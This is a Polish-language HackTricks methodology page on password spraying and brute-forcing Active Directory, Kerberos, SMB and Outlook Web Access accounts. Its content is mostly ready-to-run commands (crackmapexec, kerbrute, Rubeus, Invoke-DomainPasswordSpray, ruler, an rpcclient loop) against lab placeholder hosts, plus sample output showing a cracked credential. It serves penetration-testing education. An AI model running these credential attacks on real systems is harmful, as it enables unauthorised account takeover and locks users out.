hacktricks/windows-hardening/active-directory-methodology/password-spraying.md

8.2 KiB

Sprejowanie hasła / Brute Force

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Sprejowanie hasła

Gdy znajdziesz kilka poprawnych nazw użytkowników, możesz spróbować najczęstszych haseł (pamiętaj o polityce haseł w środowisku) z każdym z odkrytych użytkowników.
Domyślnie minimalna długość hasła wynosi 7.

Listy powszechnych nazw użytkowników mogą być również przydatne: https://github.com/insidetrust/statistically-likely-usernames

Zauważ, że możesz zablokować niektóre konta, jeśli spróbujesz kilka razy złych haseł (domyślnie więcej niż 10).

Pobierz politykę hasła

Jeśli masz pewne dane uwierzytelniające użytkownika lub dostęp do powłoki jako użytkownik domeny, możesz uzyskać politykę hasła za pomocą:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Wykorzystanie z systemu Linux (lub innego)

  • Korzystając z crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (możesz wskazać liczbę prób, aby uniknąć blokady):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Korzystając z kerbrute (python) - NIEZALECANE, CZĘSTO NIE DZIAŁA
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Za pomocą modułu scanner/smb/smb_login w Metasploit:

  • Korzystając z rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Z systemu Windows

  • Z Rubeus w wersji z modułem brute:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Za pomocą Invoke-DomainPasswordSpray (Domyślnie może generować użytkowników z domeny i pobierać politykę hasła z domeny, ograniczając liczbę prób zgodnie z nią):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Atak siłowy

{% code overflow="wrap" %}

legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

{% endcode %}

Outlook Web Access

Istnieje wiele narzędzi do sprayingu hasła w Outlooku.

Aby skorzystać z któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz hasła / małej listy haseł do sprayowania.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

References

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: